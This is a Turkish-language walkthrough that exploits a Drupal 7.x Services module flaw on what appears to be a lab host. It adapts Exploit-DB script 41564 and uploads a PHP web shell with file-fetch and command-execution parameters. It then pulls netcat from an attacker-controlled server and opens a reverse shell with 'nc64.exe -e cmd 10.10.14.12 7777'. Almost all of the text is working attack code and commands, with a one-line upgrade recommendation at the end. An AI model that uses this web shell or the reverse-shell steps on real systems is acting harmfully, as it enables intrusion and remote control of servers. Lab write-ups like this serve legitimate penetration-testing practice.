Drupal 7.x Module Services Remote Shell Upload
Exploiting – Zaafiyeti test edelim.
İlk olarak Drupal sürümünü belirleyelim. Bunun için tarayıcıdan CHANGELOG.txt dosyasına erişebiliriz, bu hazır bir Drupal şablonudur.
Not: Drupal 7.54 sürümü olduğunu bize söylüyor.
2. Bir sürümle ilişkili Zaafiyetler'i bulmak için searchsploit‘i kullanabiliriz.
searchsploit drupal 7
3. Şimdi bu betiği /home/vry4n/Desktop dizinimize indirelim.
searchsploit -m php/webapps/41564.php
4. Önce kodu değiştireceğiz, değiştirmemiz gereken kısmı vurguladım.
vi 41564.php
5. Önce tarayıcımzı açarak $endpoint_path’in var olduğunu görelim.
https://10.10.10.9/rest_endpoint 404 Bulunamadı
https://10.10.10.9/rest 20OK (found)
6. Bulduk.. Simdi Aşağıdaki gibi düzenleyelim.
$url = ‘https://10.10.10.9’; $endpoint_path = ‘/rest’; $endpoint = ‘rest_endpoint’; $file = [ ‘filename’ => ‘test.php’, ‘data’ => ‘<?php echo “Vry4n was here!!”; ?>’ ];
7. php-curl kurmamız gerekebilir.
sudo apt-get install php-curl
php-curl yüklemeden önce aldığımız HATA
Komut dosyasını yürütelim.
php 41564.php
9. Kod başarıyla yürütüldü ve bize https://10.10.10.9/test.php adresini ziyaret etmemizi söylüyor.
https://10.10.10.9/test.php
10. Dosyayı oluşturduk ve uzak Drupal sunucusunda çalıştırdık.
11. Şimdi yeni dosyalar yükleyebilen ve komutları çalıştırabilen bir dosya oluşturacağız. test.php betiğimize aşağıdaki kodu ekleyeceğiz.
$phpCode = <<<‘EOD’ <?php if (isset($_REQUEST[‘fupload’])) { file_put_contents($_REQUEST[‘fupload’], file_get_contents(“https://10.10.14.12:8888/” . $_REQUEST[‘fupload’])); }; if (isset($_REQUEST[‘fexec’])) { echo “<pre>” . shell_exec($_REQUEST[‘fexec’]) . “</pre>”; }; ?> EOD; $file = [ ‘filename’ => ‘vry4n.php’, ‘data’ => $phpCode ];
vi 41564.php
12. Şimdi yeni dosyayı yüklemek için betiği tekrar çalıştıralım.
php 41564.php
13. Bu noktada vry4n.php dosyası yüklendi, 2 değişken kullanabiliriz fupload & fexec . Temel komutları test etmek için ilk fexec’i kullanacağız.
https://10.10.10.9/vry4n.php?fexec=dir
14. Artık komutları çalıştırabileceğimize göre, fupload işlevselliğini test edebiliriz . Bir resim yükleyeceğiz. Öncelikle bir web sunucusu başlatmamız ve script'te yazdığımız ayarların aynısını kullanmamız gerekiyor.
python3.9 -m https.server 8888
15. Şimdi tarayıcıya gitmemiz gerekiyor, fupload değişkenini kullanacağız.
https://10.10.10.9/vry4n.php?fupload=vk9sec.jpg https:// 10.10.10.9/vk9sec.jpg
16. Artık herhangi bir talimat yürütmeden önce sistem hakkında bilgi toplayabiliriz.
https://10.10.10.9/vry4n.php?fexec=systeminfo
Not: Görüldüğü üzere Yamasız bir x64 bit sistemimiz var, Microsoft Windows Server 2008 R2 Datacenter
17. Şimdi https://eternallybored.org/misc/netcat/ adresinden Windows için bir x64 netcat indireceğiz.
#netcat-win32-1.11.zip dosyasını açın. cd netcat-1.11 && ls python3.9 -m https.sunucu 8888
18. Şimdi local bir dinleyici başlatalım.
nc -lvp 7777
19. Tarayıcıdan , yürütmek için netcat & fexec yüklemek için fupload değişkenini kullanalım.
https://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777
20. nc64.exe dosyasını indirmek için web sunucumuza 200 OK diyoruz.
21. Dinleyiciyi kontrol ederken, şimdi yürütmeden sonra bir shell görmeliyiz.
Çözüm nedir – Quick solution
Acilen Drupal sürümünü yükseltin. – Upgrade Drupal urgently
ilgili link: https://www.exploit-db.com/exploits/41564
Saygılarımla. – Best regards.